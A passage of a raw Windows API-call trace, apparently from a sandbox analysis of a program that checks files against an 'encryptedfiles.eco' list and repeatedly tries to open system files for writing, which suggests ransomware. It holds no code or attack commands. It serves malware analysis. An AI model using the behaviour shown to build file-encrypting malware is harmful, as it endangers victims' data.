Locale=0x409, LCType=0x1004, lpLCData=0x18ea2c, cchData=6 | out: lpLCData="1252") returned 5 [0121.015] SysStringLen (param_1="JEST!.") returned 0x6 [0121.015] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="JEST!.", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0121.015] SysStringLen (param_1="JEST!.") returned 0x6 [0121.015] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="JEST!.", cchWideChar=7, lpMultiByteStr=0x14aaba4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JEST!.", lpUsedDefaultChar=0x0) returned 7 [0121.016] SafeArrayDestroyDescriptor (psa=0x14da520) returned 0x0 [0121.016] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0121.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpUsedDefaultChar=0x0) returned 77 [0121.016] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpFilePart=0x18e6d8*="numbers.xml") returned 0x4c [0121.016] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f79a7b7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f79a7b7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7c0915, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x5c, dwReserved1=0x0, cFileName="numbers.xml", cAlternateFileName="")) returned 0x143ce48 [0121.016] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0121.016] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0121.017] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpFilePart=0x18e780*="numbers.xml") returned 0x4c [0121.017] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\ProgramData\\encryptedfiles.eco") returned -1 [0121.017] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0121.017] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0121.017] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0121.017] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0121.017] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0121.017] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0121.017] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 1 [0121.017] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 1 [0121.017] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 1 [0121.017] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0121.017] GetLastError () returned 0x5 [0121.017] GetLastError () returned 0x5 [0121.017] SetLastError (dwErrCode=0x5) [0121.017] GetLastError () returned 0x5 [0121.017] SetLastError (dwErrCode=0x5) [0121.017] GetLastError () returned 0x5 [0121.018] SetLastError (dwErrCode=0x5) [0121.018] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0121.019] GetLastError () returned 0x5 [0121.019] GetLastError () returned 0x5 [0121.019] SetLastError (dwErrCode=0x5) [0121.019] GetLastError () returned 0x5 [0121.019] SetLastError (dwErrCode=0x5) [0121.019] GetLastError () returned 0x5 [0121.019] SetLastError (dwErrCode=0x5) [0121.019] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x340 [0121.019] GetFileType (hFile=0x340) returned 0x1 [0121.019] IMalloc:Alloc (This=0x767666bc, cb=0x89) returned 0x14cd1d8 [0121.019] FlushFileBuffers (hFile=0xb) returned 0 [0121.020] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.020] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpFilePart=0x18e780*="numbers.xml") returned 0x4c [0121.020] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\ProgramData\\encryptedfiles.eco") returned -1 [0121.020] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0121.020] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0121.020] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0121.020] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0121.020] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0121.020] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0121.020] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 1 [0121.021] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 1 [0121.021] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 1 [0121.021] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 0 [0121.021] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0121.021] GetLastError () returned 0x5 [0121.021] GetLastError () returned 0x5 [0121.021] SetLastError (dwErrCode=0x5) [0121.021] GetLastError () returned 0x5 [0121.021] SetLastError (dwErrCode=0x5) [0121.021] GetLastError () returned 0x5 [0121.021] SetLastError (dwErrCode=0x5) [0121.021] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0121.021] GetLastError () returned 0x5 [0121.021] GetLastError () returned 0x5 [0121.021] SetLastError (dwErrCode=0x5) [0121.021] GetLastError () returned 0x5 [0121.022] SetLastError (dwErrCode=0x5) [0121.022] GetLastError () returned 0x5 [0121.022] SetLastError (dwErrCode=0x5) [0121.022] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x344 [0121.022] GetFileType (hFile=0x344) returned 0x1 [0121.022] IMalloc:Alloc (This=0x767666bc, cb=0x89) returned 0x14cd140 [0121.022] FlushFileBuffers (hFile=0xc) returned 0 [0121.022] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.023] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x2b5)) [0121.023] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0121.023] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x2b5)) [0121.023] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x2b5)) [0121.023] GetUserDefaultLCID () returned 0x409 [0121.023] VarBstrFromR4 (in: fltIn=0x479442d9, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75909.7") returned 0x0 [0121.023] VarCat (in: pvarLeft=0x18eab4, pvarRight=0x18eac4, pvarResult=0x18eaa4 | out: pvarResult=0x18eaa4) returned 0x0 [0121.023] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0121.023] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpFilePart=0x18e780*="numbers.xml") returned 0x4c [0121.023] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\ProgramData\\encryptedfiles.eco") returned -1 [0121.024] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0121.024] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0121.024] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0121.024] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0121.024] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0121.024] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0121.024] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 1 [0121.024] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 1 [0121.024] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 1 [0121.024] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 0 [0121.024] lstrcmpiA (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 0 [0121.024] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0121.024] GetLastError () returned 0x5 [0121.024] GetLastError () returned 0x5 [0121.025] SetLastError (dwErrCode=0x5) [0121.025] GetLastError () returned 0x5 [0121.025] SetLastError (dwErrCode=0x5) [0121.025] GetLastError () returned 0x5 [0121.025] SetLastError (dwErrCode=0x5) [0121.025] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0121.025] GetLastError () returned 0x5 [0121.025] GetLastError () returned 0x5 [0121.025] SetLastError (dwErrCode=0x5) [0121.025] GetLastError () returned 0x5 [0121.025] SetLastError (dwErrCode=0x5) [0121.025] GetLastError () returned 0x5 [0121.025] SetLastError (dwErrCode=0x5) [0121.025] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x348 [0121.025] GetFileType (hFile=0x348) returned 0x1 [0121.025] IMalloc:Alloc (This=0x767666bc, cb=0x89) returned 0x14cd270 [0121.026] FlushFileBuffers (hFile=0xd) returned 0 [0121.026] RtlUnwind (TargetFrame=0x18eb48, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0121.026] GetCurrentProcessId () returned 0x9e0 [0121.026] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0121.026] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0121.027] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.027] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.027] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.027] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.027] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.027] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.027] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.027] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.027] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.027] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.027] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.027] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.027] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.027] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.027] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.028] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.028] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.028] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.028] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.028] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.028] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.028] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.028] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.028] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.028] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.028] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.028] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.028] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.028] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.029] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.029] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.029] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.029] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.029] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.029] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.029] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.029] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.029] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.029] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.029] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.029] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.029] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.029] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.029] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.030] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.030] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.030] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.030] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.030] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.030] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.030] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.030] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.030] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.030] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.030] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.032] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.032] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.032] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.032] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.032] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.032] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.032] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0121.032] VarCat (in: 